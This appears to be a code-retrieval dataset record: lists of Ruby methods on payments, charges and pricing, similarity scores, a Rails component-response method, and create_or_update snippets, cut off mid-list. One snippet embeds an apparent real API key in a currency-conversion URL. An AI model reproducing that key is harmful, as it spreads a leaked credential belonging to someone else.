"def claim_payment_information\n claim_weight = claim_type_weight\n ['CLP', captured_or_blank_patient_account_number(@eob.patient_account_number), claim_weight, @eob.amount('total_submitted_charge_for_claim'),\n @eob.payment_amount_for_output(@facility, @facility_output_config),\n ( claim_weight == 22 ? \"\" : @eob.patient_responsibility_amount),\n \"13\", @eob.claim_number ].trim_segment.join(@element_seperator)\n end",
"def pricing_policy\n car.pricing_policy\n end",
"def describe_price\r\n\t\ta = []\r\n\t\ta << sprintf('$%.2f per item', per_item) unless per_item.zero?\r\n\t\ta << sprintf('$%.2f per kg', per_kg) unless per_kg.zero?\r\n\t\ta << sprintf('$%.2f', flat_rate) unless flat_rate.zero?\r\n\t\tif formula and !formula.empty?\r\n\t\t\tif formula_description and !formula_description.empty?\r\n\t\t\t\ta << formula_description\r\n\t\t\telse\r\n\t\t\t\ta << formula.gsub('I', \"'number of items'\").gsub('W', \"'total weight'\").gsub('V', \"'total value'\")\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\ta.empty? ? ((name == '[ to be advised ]') ? nil : 'no charge') : a.join(' + ')\r\n\tend",
"def pay_item\n Payjp.api_key = ENV[\"PAYJP_SECRET_KEY\"] # 自身のPAY.JPテスト秘密鍵を記述しましょう\n Payjp::Charge.create(\n amount: @item.price, # 商品の値段\n card: addresse_params[:token], # カードトークン\n currency: 'jpy' # 通貨の種類(日本円)\n )\n end",
"def paypal_shipping_and_handling_costs(order)\n {}\n end",
"def subtotals\n x = {}\n charges.each do |r|\n x[r.product_code] ||= 0.to_f\n x[r.product_code] += r.total_cost.to_f\n end\n return x\n end",
"def claim_payment_information\n clp_elements = []\n clp_elements << 'CLP'\n clp_elements << patient_account_number\n clp_elements << claim_type_weight\n clp_elements << eob.amount('total_submitted_charge_for_claim')\n clp_elements << eob.payment_amount_for_output(facility, facility_output_config)\n clp_elements << (clp_elements[2] == 22 ? \"\" : eob.patient_responsibility_amount)\n clp_elements << plan_type\n clp_elements << claim_number\n clp_elements << facility_type_code\n clp_elements << claim_freq_indicator\n clp_elements << nil\n clp_elements << eob.drg_code unless eob.drg_code.blank?\n clp_elements = Output835.trim_segment(clp_elements)\n clp_elements.join(@element_seperator)\n end",
"def info_premium\n render json: { value: (PropertyBuyer::PREMIUM_COST*100) }, status: 200\n end",
"def cost\n purchase_cost\n end",
"def cost\n purchase_cost\n end",
"def charges\n charges = []\n self.students.each do |student|\n student.charges.each do |charge|\n if charge.promotion_id == self.id\n charges << charge\n end\n end\n end\n return charges\n end",
"def retrieve_fees\n return if stripe_charge_id.nil?\n\n transaction = Stripe::BalanceTransaction.retrieve(stripe_charge.balance_transaction)\n return if transaction.nil?\n\n self.fee = transaction.fee / 100.0\n self.received_amount = transaction.net / 100.0\n save\n end",
"def new_charge!(charge_payment_method_id, charge_amount)\n\n charge_attributes = {:date => Time.now,\n :amount => charge_amount,\n :payment_method_id => charge_payment_method_id,\n :currency => SystemConfiguration::Variable.get_value('payments.default_currency', 'EUR')}\n charge_attributes.merge!({:sales_channel_code => self.sales_channel_code}) unless self.sales_channel_code.nil?\n\n charge = Payments::Charge.create(charge_attributes)\n self.charges << charge\n return charge\n end",
"def retrieve(id)\n Charge.new(attrs: { 'id' => id }, client: client).refresh\n end",
"def calculate_fee_pounds\n calculate_fee / PENCE_IN_POUND\n end",
"def debt_service\n property.net_operating_income / debt_payment\n end",
"def find_rate()\n uri_string = \"https://free.currconv.com/api/v7/convert?q=GBP_\"\\\n \"#{@currency}&compact=ultra&apiKey=2d46a9b5b650dca0dbb1\"\n uri = URI(uri_string)\n res = Net::HTTP.get_response(uri)\n return(JSON.parse(res.body)[\"GBP_#{@currency}\"]/100.0)\n end",
"def get_charges_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ChargesApi.get_charges ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling ChargesApi.get_charges, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling ChargesApi.get_charges, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/charges'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetChargesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"ChargesApi.get_charges\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ChargesApi#get_charges\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def next_charge\n ( pre_finalised_quote * relative_progress / 100 ) - charged_so_far\n end",
"def charge amount=0.0, method=\"pcc\", note=''\n\n invoice_item_category = InvoiceItemCategory.where(code:method).first\n\n #check the invoice category\n if invoice_item_category.nil? then\n raise \"Category not found\"\n return\n end\n\n #create a new invoice_item w/ the appropiate category\n Invoice.transaction do\n invoice_item = self.invoice_items.new({\n invoice_item_category_id:invoice_item_category.id,\n charges:amount,\n note:note\n })\n\n if invoice_item.save! then\n #update the total billing\n self.update_attribute(:total_billing, self.generate_total_billing)\n if self.total_billing.zero? then\n self.settled!\n end\n else\n raise \"failed to save transaction\"\n return\n end\n\n end\n end",
"def show\n @service_charge = Charge.new\n end",
"def create_online_charge!(charge_payment, charge_payment_method_id)\n \n if total_pending > 0 and \n charge_payment_method = Payments::PaymentMethod.get(charge_payment_method_id.to_sym) and\n not charge_payment_method.is_a?Payments::OfflinePaymentMethod and\n !([:deposit, :pending, :total].find_index(charge_payment.to_sym)).nil?\n\n amount = case charge_payment.to_sym\n when :deposit\n booking_deposit\n when :total\n total_cost\n when :pending\n total_pending\n end\n\n charge = new_charge!(charge_payment_method_id, amount) if amount > 0\n save\n return charge\n end \n\n end",
"def total_commission\n @payment.total_commission\n end",
"def index\n\t\t@charges = Charge.all\n\tend",
"def get_fee_params(npo_ein = '68-0480736')\n {\n DonationLineItems: {\n DonationItem: {\n NpoEin: npo_ein,\n Designation: 'annual_fund',\n Dedication: 'For my grandfather',\n donorVis: 'ProvideAll',\n ItemAmount: 100.00,\n RecurType: 'NotRecurring',\n AddOrDeduct: 'Add',\n TransactionType: 'Donation'\n }\n },\n TipAmount: 1.00,\n CardType: 'Visa'\n }\nend",
"def charge(location_id, body, opts = {})\n data, _status_code, _headers = charge_with_http_info(location_id, body, opts)\n return data\n end",
"def precipitation\n @precipitation\n end",
"def discounted_shipping_price\n hash[\"DiscountedShippingPrice\"]\n end",
"def coupons\n @items = @product.product_coupons\n end",
"def price_per_g\n\t\tself['price'].to_f / self['unit_weight'].to_f\n\tend",
"def completed_checkout\n charges = Stripe::Charge.list # I know. Creates a race condition\n @charge = charges['data'].first\n end",
"def attr_money\n {\n perceptions_total_cents: 'TotalPercepciones',\n deductions_total_cents: 'TotalDeducciones',\n other_payments_total_cents: 'TotalOtrosPagos'\n }\n end",
"def charge_type\n if is_tax\n return 10\n elsif description.include?('Refund for')\n return 5\n elsif description.include?('Cancellation fee')\n return 11\n end\n case charge.charge_type\n when 'booking'\n 3\n when 'fuel'\n 6\n when 'cleaning'\n 7\n when 'damage'\n 8\n when 'other'\n 9\n when 'security_deposit'\n 2\n when 'membership'\n 1\n when 'lesson'\n 4\n end\n end",
"def pmt()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Pmt::PmtRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def charged_so_far\n charges = stages.collect{ |pr| pr.charged_so_far }.sum\n invoices.collect{ |inv| inv.total }.sum + charges\n end",
"def get_PE_ratio\n @PE_ratio = Stock.where(:stock_ticker => self.stock_ticker).first.PE_ratio / 100\n end",
"def gross\n params['Amount']\n end"
] |
[
"0.6529873",
"0.6190628",
"0.5827379",
"0.57522726",
"0.5734278",
"0.5733032",
"0.56134707",
"0.5567212",
"0.5564163",
"0.5486686",
"0.5440201",
"0.5439533",
"0.5439533",
"0.54135835",
"0.54127526",
"0.5376896",
"0.5346125",
"0.5345998",
"0.5302205",
"0.5269249",
"0.52488494",
"0.52472425",
"0.524134",
"0.5216215",
"0.5211416",
"0.51666224",
"0.51640046",
"0.5155696",
"0.5153083",
"0.51448095",
"0.51305324",
"0.5130176",
"0.51291716",
"0.5125922",
"0.51239055",
"0.51223683",
"0.51204354",
"0.5117642",
"0.5095556",
"0.5091773",
"0.5091773",
"0.50912285",
"0.5090783",
"0.5063834",
"0.5050327",
"0.504661",
"0.5036969",
"0.50357276",
"0.50287366",
"0.50199234",
"0.50052315",
"0.50011164",
"0.49789745",
"0.49726743",
"0.49724162",
"0.49598938",
"0.49593747",
"0.4957741",
"0.4941741",
"0.4940707",
"0.49343723",
"0.4906527",
"0.48956838",
"0.48774484",
"0.48744434",
"0.48666555",
"0.48632944",
"0.48624495",
"0.4860787",
"0.485489",
"0.48453745",
"0.4837904",
"0.4837904",
"0.48348764",
"0.48301387",
"0.4811703",
"0.48055887",
"0.47992232",
"0.4796478",
"0.47915137",
"0.4787025",
"0.4785307",
"0.47726935",
"0.47715288",
"0.47596765",
"0.4758822",
"0.47569507",
"0.47510096",
"0.4742095",
"0.47353047",
"0.47295684",
"0.47266263",
"0.47213036",
"0.47160852",
"0.4713557",
"0.4712125",
"0.4707559",
"0.46982792",
"0.46891055",
"0.46869233"
] |
0.60143906
|
2
|
This is to fix a bug in Rails. 1.2.2 was calling klass.controller_name instead of klass.controller_path, which was in turn setting the params[:controller] => "contacts", instead of params[:controller] => "two/contact". Submitted ticket 7545 Namespaces only supported in ActiveScaffold with Rails 1.2.2
|
def component_response(options, reuse_response)
klass = component_class(options)
request = request_for_component(klass.controller_path, options)
new_response = reuse_response ? response : response.dup
klass.process_with_components(request, new_response, self)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def namespace\n # controller_name_segments = params[:controller].split('/')\n # controller_name_segments.pop\n # controller_name_segments.join('/').camelize\n params[:controller].split('/').first\n end",
"def controller_name\n \"#{self.class.app_namespace}::#{@controller_name}\"\n end",
"def namespace\n # 2012.3.13 didn't work on Rails 3.0.7, cancan 1.6.7; looks promising, but needs some figuring out.\n #cns = @controller.class.to_s.split('::')\n #cns.size == 2 ? cns.shift.downcase : \"\"\n \n # I am sure there is a slicker way to capture the controller namespace\n # 2012.3.13 But it works!\n controller_name_segments = params[:controller].split('/')\n controller_name_segments.pop\n controller_namespace = controller_name_segments.join('/').camelize\n end",
"def controller_catalog() # :doc:\n controller_path.gsub('/', '.')\n end",
"def controller_name\n self.class.name.downcase.pluralize\n end",
"def controller_name\n @controller_name ||= controller.class.to_s.sub('Controller', '').underscore\nend",
"def controller_name; end",
"def controller_name; end",
"def resource_name\n :\"@#{controller_name.singularize}\"\n end",
"def controller_full_name\n controller.class.name.sub('Controller','').gsub('::','_').underscore\n end",
"def controller_name\n self.name.underscore.pluralize\n end",
"def controller_name(name)\n @controller_class_name = \"#{name}_controller\".camelize\n end",
"def template_namespace\n @controller.class.to_s.sub('Controller','').underscore.pluralize\n end",
"def object_name\n self.class.name.underscore.split('/').last.sub(/_controller$/, '').singularize\n end",
"def controller_name\n self.class.to_s\n end",
"def controller_name\n self.class.controller_name\n end",
"def controller_path; end",
"def controller_path; end",
"def type\n controller_name.singularize\n end",
"def controller_name\n [namespace.module_name, resource_name.plural.camelize + \"Controller\"].compact.join(\"::\")\n end",
"def classes_for_main\n controller.controller_name + '-' + controller.action_name\n end",
"def full_implementation_controller_name\n \"#{model_class_name.pluralize}Controller\"\n end",
"def resources_name\n controller_name\n end",
"def objects_name\n if class_parent_name != 'Object'\n \"#{class_parent_name.underscore}__#{controller_name}\".to_sym\n else\n controller_name.to_sym\n end\n end",
"def api_controller_name\n self.class.api_controller_name || model_name.pluralize\n end",
"def controller_name\n path = segments[2..-2].join('/')\n path < 'a' ? path : camelize(path)+\"Controller\"\n end",
"def get_resource_name\n \tself.controller_name.singularize\n end",
"def controller_name(node)\n if option_with_hash(node)\n option_node = node.arguments.all[1]\n name =\n if hash_key_exist?(option_node, 'controller')\n option_node.hash_value('controller').to_s\n else\n node.arguments.all.first.to_s.gsub('::', '').tableize\n end\n else\n name = node.arguments.all.first.to_s.gsub('::', '').tableize\n end\n namespaced_class_name(name)\n end",
"def parent_controller_name\n @parent_controller\nend",
"def resource_name\n controller_name.demodulize.singularize\n end",
"def resource_name\n controller_name.demodulize.singularize\n end",
"def resource_name\n controller_name.demodulize.singularize\n end",
"def model_name\n params[:controller].sub(\"Controller\", \"\").underscore.split('/').last.singularize\n end",
"def model_name\n params[:controller].split('/').last.singularize\n end",
"def controller_name\n self.request.route_obj.instance_variable_get('@controller')\n end",
"def controller_name(name)\n tests \"#{name}_controller\".camelize.constantize\n end",
"def full_object_name\n if class_parent_name != 'Object'\n \"#{class_parent_name.underscore}__#{controller_name.singularize}\"\n else\n controller_name.singularize\n end\n end",
"def rails_location()\n\t\t{ class: \"#{controller_name}-#{action_name}\", id: \"#{controller_name}\"}\n \tend",
"def object_name\n controller_name.singularize\n end",
"def controller_location\n \"#{RAILS_ROOT}/app/controllers/#{controller_name}\"\n end",
"def page_name\n return params[:controller].singularize\n end",
"def name\n self.class.to_s.gsub(/controller$/i, \"\")\n end",
"def get_controller\n @controller_name = params[:controller]\n end",
"def get_formatted_controller_name\n params[:controller]\n end",
"def model_controller(model)\n model.class.name.downcase.pluralize\n end",
"def singular_resource_route_with_controller_prefixes\n resource_with_controller_prefixes(model.name.as_singular)\n end",
"def model_controller(model)\n model.class.name.underscore.pluralize\n end",
"def controller_css_class\n controller_name\n end",
"def controller_path\n self.class.controller_path\n end",
"def model_name\n self.class.name[/(.*)Controller/,1].singularize.underscore\n end",
"def resources_name\n controller_name\n end",
"def controller_domain\n 'controller.' + base_domain\n end",
"def class_for_controller_name\n controller_model\n end",
"def controllers_path\n \"#{app_path}/controllers\"\n end",
"def controllers_path\n \"#{app_path}/controllers\"\n end",
"def action_controller_title\n return \"#{action_name.camelize} #{controller_name.singularize.camelize}\"\n end",
"def controller_class; end",
"def controller_class; end",
"def associated_class_string\n controller_name.classify\n end",
"def set_content_model\n @content_model_class_name = self.class.name.gsub(/Controller/,'').singularize.constantize\n end",
"def controller\n @controller ||= controller_name.constantize\n end",
"def controller_name\n @controller_name ||=\n if @resource_options.key?(:controller_name)\n tools.string.underscore(@resource_options.fetch(:controller_name)).\n sub(/_controller\\z/, '')\n else\n plural_resource_name\n end # if-else\n end",
"def controller_filename\n File.join(File.expand_path(RAILS_ROOT), 'app', 'controllers', \"#{@controller.class.to_s.underscore}.rb\").\n sub('/controllers/controllers/', '/controllers/')\n end",
"def plural_model_name\n params[:controller].split('/').last\n end",
"def use_relative_controller!\n if !named_route && different_controller? && !controller.start_with?(\"/\")\n old_parts = current_controller.split(\"/\")\n size = controller.count(\"/\") + 1\n parts = old_parts[0...-size] << controller\n @options[:controller] = parts.join(\"/\")\n end\n end",
"def controller_html_class\n \"#{h controller_path}-controller\"\n end",
"def controller_id\n @controller_id ||= 'as_' + (params[:eid] || params[:parent_controller] || params[:controller]).gsub(\"/\", \"__\")\n end",
"def generate_controllers\n @namespace = options[:namespace].blank? ? '' : \"#{options[:namespace].camelize}::\"\n @class_name_prefix = prefix.blank? ? '' : prefix.singularize.camelize\n @param_name_prefix = prefix.blank? ? '' : \"#{prefix.singularize.underscore}_\"\n parent_resource = prefix.present? ? prefix.singularize.underscore : (options[:parent].blank? ? '' : options[:parent].singularize.underscore)\n @path_name_prefix = (options[:namespace].blank? ? '' : \"#{options[:namespace].singularize.underscore}_\") + (parent_resource.blank? ? '' : \"#{parent_resource}_\")\n @path_args_prefix = parent_resource.blank? ? '' : \"@#{parent_resource}, \"\n @default_meeting_request_id = parent_resource.blank? ? 'default' : \"#{parent_resource.camelize}-#{'#'}{@#{parent_resource}.id}\"\n file_name_prefix = (options[:namespace].blank? ? '' : \"#{options[:namespace].underscore}/\") + @param_name_prefix\n controllers = options[:controllers] || CONTROLLERS\n controllers.each do |name|\n template \"#{name}_controller.rb\", \"app/controllers/#{file_name_prefix}#{name}_controller.rb\"\n end\n end",
"def screen_name\n controller_name = t(\"controllers.#{params[:controller]}\").upcase\n action_name = t(\"actions.controllers.#{params[:action]}\").upcase\n \"#{controller_name} / #{action_name}\"\n end",
"def resource_name\n name.to_s.chomp('Controller').demodulize.singularize\n end",
"def get_form\n \"#{controller.controller_name}/form\"\n end",
"def namespace\n namespace = SkinnyControllers.controller_namespace || ''\n \"#{namespace}::\" if namespace\n end",
"def default_catalog_controller\n self\n end",
"def klass_from_controller(c = controller_name)\n c.singularize.camelize.constantize\n end",
"def controllers\n base_controller_class.constantize.descendants\n end",
"def local_prefixes\n [controller_path]\n end",
"def local_prefixes\n [controller_path]\n end",
"def title\n return params[:controller].camelize\n end",
"def pretty_controller_name(name = \"\")\n name.split('_').map(&:capitalize).join(' ').singularize\n end",
"def model\n self.controller_name.classify.constantize\n end",
"def sanitize_api_class( controller )\n controller.name.split(\"::\").last\n end",
"def plural_resource_route_with_controller_prefixes\n resource_with_controller_prefixes(model.name.as_singular.pluralize)\n end",
"def controlled_model_class\n controller_path.classify.constantize\n end",
"def controller\n self::Controller\n end",
"def controller_path\n @controller_path ||= name.delete_suffix(\"Controller\").underscore unless anonymous?\n end",
"def controller_to_name(v = nil)\n v ||= request_parameters\n v = v[:controller] || v['controller'] if v.is_a?(Hash)\n if v.is_a?(String) || v.is_a?(Symbol)\n v.to_s.strip.underscore.delete_suffix('_controller')\n else\n # noinspection RailsParamDefResolve\n v.try(:controller_name)\n end\n end",
"def controller_action\n @controller_action ||= [controller.controller_name, controller.action_name].join('/')\n end",
"def params_key\n controller_name.singularize.to_sym\n end",
"def namespaced_class_name(name)\n class_name = \"#{name.split('/').map(&:camelize).join('::')}Controller\"\n if @namespaces.empty?\n class_name\n else\n @namespaces.map { |namespace| \"#{namespace.camelize}::\" }.join('') + class_name\n end\n end",
"def switch_to_controller\n unless ( name = (path_matcher.view_name || path_matcher.model_name) )\n return\n end\n\n action = nil\n \tif path_matcher.is_view?\n \t action = File.basename(file_path).split(\".\").first\n else\n \t name = name.pluralize\n end\n\n controller = \"/app/controllers/#{name}_controller.rb\"\n\n if action\n goto_definition controller, \"def #{action}\"\n else\n open_file controller\n end\n end",
"def csharp_api_fqn( controller )\n [ sanitize_api_namespace(controller), sanitize_api_class(controller) ].compact.join(\".\")\n end",
"def page_namespace\n @page_namespace ||= \"#{controller_name}_#{action_name}\"\n end",
"def controller_and_action_names\n @current_action = action_name\n @current_controller = controller_name\n #why does this need to be here?\n # @years = @company.financial_years unless @company.blank?\n #current_app( controller_name )\n end",
"def set_controller_and_action(to)\n if to\n controller_and_action = to.split \"#\"\n @controller_name = controller_and_action.shift\n @action_name = controller_and_action.shift || \"index\"\n end\n end",
"def controller_for_model(klass)\n model = ui_base_model(klass)\n if klass <= VmOrTemplate\n controller_for_vm(klass)\n elsif model.respond_to?(:db_name)\n model.db_name.underscore\n else\n model.name.underscore\n end\n end",
"def controller\n @controller\n end",
"def default_controller; end",
"def normalize_controller!; end",
"def collection_name\n :\"@#{controller_name}\"\n end",
"def app_name ; self.class.rootname.snake_case.to_sym ; end",
"def current_namespace?(namespace)\n controller.controller_path.start_with? namespace.to_s.downcase\n end"
] |
[
"0.7260509",
"0.71184236",
"0.70100814",
"0.6826947",
"0.6783166",
"0.6699138",
"0.6649088",
"0.6649088",
"0.66461784",
"0.6632181",
"0.6614491",
"0.6558352",
"0.65506977",
"0.6525755",
"0.6524968",
"0.65139276",
"0.63646674",
"0.63646674",
"0.63380075",
"0.6337231",
"0.63202226",
"0.6316074",
"0.63154",
"0.63015777",
"0.6263049",
"0.6251075",
"0.625104",
"0.6243248",
"0.62369895",
"0.6191797",
"0.6191797",
"0.6191797",
"0.6152297",
"0.61315",
"0.6113336",
"0.610747",
"0.6086996",
"0.60866874",
"0.6085453",
"0.6079701",
"0.607957",
"0.60705024",
"0.606867",
"0.606245",
"0.60611063",
"0.60587627",
"0.6042942",
"0.6019431",
"0.60187536",
"0.60148925",
"0.6005881",
"0.6004189",
"0.60002244",
"0.59671825",
"0.59671825",
"0.5965714",
"0.5947055",
"0.5947055",
"0.59351575",
"0.5934453",
"0.59227777",
"0.59147024",
"0.59126675",
"0.5906783",
"0.58887106",
"0.58788615",
"0.5856713",
"0.5852737",
"0.58310765",
"0.58281827",
"0.5819805",
"0.5817297",
"0.58025956",
"0.57951003",
"0.5792004",
"0.5781557",
"0.5781557",
"0.577829",
"0.5777697",
"0.577391",
"0.5772965",
"0.57665527",
"0.5759469",
"0.5750241",
"0.5742805",
"0.57374436",
"0.57324374",
"0.57249254",
"0.57204694",
"0.5719699",
"0.57190627",
"0.5714281",
"0.57049704",
"0.5698462",
"0.5693471",
"0.56882197",
"0.56831646",
"0.5679688",
"0.5674606",
"0.56708175",
"0.56696564"
] |
0.0
|
-1
|
this is diffrent to the instance method create_or_update
|
def update_or_create(attributes = {})
id = attributes.delete(:id)
conditions = attributes.delete(:conditions)
returning (id && find_by_id(id)) || find(:first, :conditions => conditions) || new do |record|
attributes.each_pair { |key, value| record[key] = value }
record.save
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n create_or_update\n end",
"def create\n create_or_update\n end",
"def update\n create_or_update\n end",
"def save\n create_or_update\n end",
"def create_or_update\n raise ReadOnlyRecord if readonly?\n result = new_record? ? create_record : update_record\n result != false\n end",
"def save(*)\n create_or_update\n end",
"def save\n create_or_update\n end",
"def save\n create_or_update\n end",
"def save\n create_or_update\n end",
"def create_or_update(*args, &block)\n create_or_update_and_do :save, *args, &block\n end",
"def save\n begin\n create_or_update\n rescue ActiveRecord::RecordInvalid\n false\n end\n end",
"def save(*)\n create_or_update\n rescue RecordInvalid\n false\n end",
"def find_or_create!()\n end",
"def create_or_update record\n db_name = database_name_for(record)\n coll_name = collection_name_for(record)\n id = id_for(record)\n pointer = \"/#{db_name}/#{coll_name}/#{id}\"\n if id\n res = collection_for(record).update({:_id => id}, interpret(record), :upsert => true)\n case\n when res['error']\n log.error(res['error'])\n when res['updatedExisting']\n log.debug(\"Updated #{pointer}\")\n else\n log.debug(\"Inserted #{pointer}\")\n end\n else\n res = collection_for(record).insert(interpret(record))\n log.info(\"Inserted #{pointer}#{res}\")\n end\n end",
"def create_or_update\n if self.id.is_a?(Numeric) && self.id.to_i.zero?\n self.id = nil\n @new_record = true\n end\n super\n end",
"def save\n create_or_update\n _id.present?\n end",
"def save\n if self.id.nil?\n self.create\n else\n self.update\n end\n end",
"def save\n self.id.nil? ? create : update\n end",
"def save\n self.new_record ? self.create : self.update\n end",
"def find_or_create_by\n end",
"def new_or_update *args\n new *args\n end",
"def save!\n create_or_update or raise RecordNotSaved\n end",
"def save!(*)\n create_or_update || raise(RecordNotSaved)\n end",
"def update?\n create?\n end",
"def update?\n create?\n end",
"def update?\n create?\n end",
"def update?\n create?\n end",
"def update\n create\n end",
"def update\n create\n end",
"def save\r\n new? ? create : update\r\n end",
"def create\n _create_or_update(@person)\n end",
"def update\n create\n end",
"def update\n create\n end",
"def create\n update\n end",
"def save\n new? ? insert : update\n end",
"def save\n if self.id.nil?\n create\n else\n update\n end\n end",
"def save!\n validate!\n create_or_update\n self\nend",
"def create\n update\n end",
"def save\n new? ? create : update\n end",
"def save\n new? ? create : update\n end",
"def save\n new? ? create : update\n end",
"def save\n\t if self.id.nil? || self.id.empty?\n\t create\n\t\telse\n\t\t update\n\t\tend\n\tend",
"def save\n\t if self.id.nil? || self.id.empty?\n\t create\n\t\telse\n\t\t update\n\t\tend\n\tend",
"def save\n create_or_update\n return true\n end",
"def save\n if self.send('id').nil?\n self.create\n else\n self.update\n end\n end",
"def create_or_update(entry)\n EntryRepository.create(entry)\n rescue Hanami::Model::UniqueConstraintViolationError\n entry = read(entry.key)\n database.update(entry)\n rescue Hanami::Model::Error => err\n database.create(entry)\n end",
"def save\n if self.id.nil?\n self.insert\n else\n self.update\n end\n end",
"def save\n id ? update : insert\n end",
"def save\n etag ? update : create\n end",
"def save\n if exists?\n update_attributes\n else\n if !create.nil?\n true\n else\n false\n end\n end\n end",
"def create_or_update\n @user_data = find_or_build(record_retrieval_params)\n success_status = @user_data.persisted? ? :ok : :created\n\n @user_data.payload = user_data_params[:payload]\n @user_data.save!\n\n render json: {}, status: success_status, format: :json\n end",
"def save(**options, &block)\n create_or_update(**options, &block)\n rescue ActiveRecord::RecordInvalid\n false\n end",
"def find_or_create( id )\n begin\n get( id )\n rescue\n create!( :id => id )\n end \n end",
"def create_or_update\n if @facebook_token.present?\n update\n else\n create\n end\n end",
"def save\n id.nil? ? insert : update\n end",
"def conflicting_or_created_record\n conflict || create\n end",
"def create_or_update(opts = {})\n raise 'Can only call for create or update!' unless ['create', 'update'].include?(action_name)\n klass = opts[:klass] || Kernel.const_get(controller_name.camelize.singularize)\n\n ivar_name = klass.to_s.underscore\n object_params = params[ivar_name]\n obj = klass.new(object_params) if 'create' == action_name\n obj ||= klass.find(params[:id])\n\n instance_variable_set(\"@#{ivar_name}\", obj)\n obj.update_attributes(opts[:options])\n\n valid = obj.save if 'create' == action_name\n valid ||= obj.update_attributes(object_params)\n respond_to do |format|\n if valid\n format.html do\n msg = \"#{klass} #{obj.try(:name)} successfully #{action_name}d\"\n if block_given?\n yield obj\n else\n redirect_to(obj, :notice => msg)\n end\n end\n format.json { render :json => obj.to_json }\n else\n format.html { render :action => { 'create' => 'new', 'update' => 'edit'}[action_name] }\n format.json { render :json => {:errors => obj.errors}.to_json, :status => :unprocessable_entity }\n end\n end\n end",
"def create_or_update_by_api(params = {})\n babel = params_to_translator(params)\n record = find_by_translator(babel).first\n record.present? ? update_by_translator(babel, record) : create_by_translator(babel)\n end",
"def create_or_update_friend(twitter_id, is_valid, comment)\n #is_valid ||= 1\n begin\n #$logger.info \"#{self.class.name}.#{__method__}(#{twitter_id},#{is_valid},#{comment})\"\n puts(\"#{self.class.name}.#{__method__}(#{twitter_id},#{is_valid},#{comment})\")\n \n # check if NOT exists\n if find_by_first(twitter_id).nil?\n result = Friend.new(:twitter_id => twitter_id,\n :is_valid => is_valid,\n :comment => comment)\n result = result.save\n if result == true\n #$logger.info \"Friend object is SAVED SUCCESSFULLY! twitter_id => #{twitter_id}\"\n puts(\"Friend object is SAVED SUCCESSFULLY! twitter_id => #{twitter_id}\")\n else\n #$logger.error \"ERROR Friend object is NOT SAVED! twitter_id => #{twitter_id}\"\n puts(\"ERROR Friend object is NOT SAVED! twitter_id => #{twitter_id}\")\n end\n \n elsif not find_first_by_conditions(twitter_id, 0).nil? # already exist \n #$logger.info \"Friend object already exists: twitter_id => #{twitter_id} and is_valid => 0; Will be updated!\"\n puts(\"Friend object already exists: twitter_id => #{twitter_id} and is_valid => 0; Will be updated!\")\n result = update_friend(twitter_id, is_valid, comment)\n \n end\n\n rescue Exception\n #TwitterUtil.show_error(\"#{self.class.name}.#{__method__}()\",($!).class,($!))\n puts(\"#{self.class.name}.#{__method__}()\",($!).class,($!))\n result = nil\n end\n return result\n end",
"def save\n if new?\n return create()\n else\n return update()\n end\n end",
"def save\n id.nil? ? create : update\n end",
"def create_or_update(ident,attributes={})\n raise \"updating id is not supported\" if attributes[:id] \n unless id = redis.get(\"#{name}:ident:#{ident}\") \n id = redis.incr \"#{name}:id\" #Replica:id\n redis.sadd \"#{name}:all\", id # Replica\n redis.hset colon(name,id), :ident, ident\n redis.set colon(name, :ident, ident ) ,id\n end\n new id, attributes\n end",
"def update?\n existing && !destroyable? && acceptable_id?\n end",
"def new_or_update!(hash={}, options = {:hard_update => true})\n hash.symbolize_keys!\n if hash[:id].blank?\n self.new(hash)\n else\n rec = self.find(hash[:id])\n if options[:hard_update]\n rec.update_attributes!(hash.except(:id))\n else\n rec.update_attributes(hash.except(:id))\n end\n rec\n end\n end",
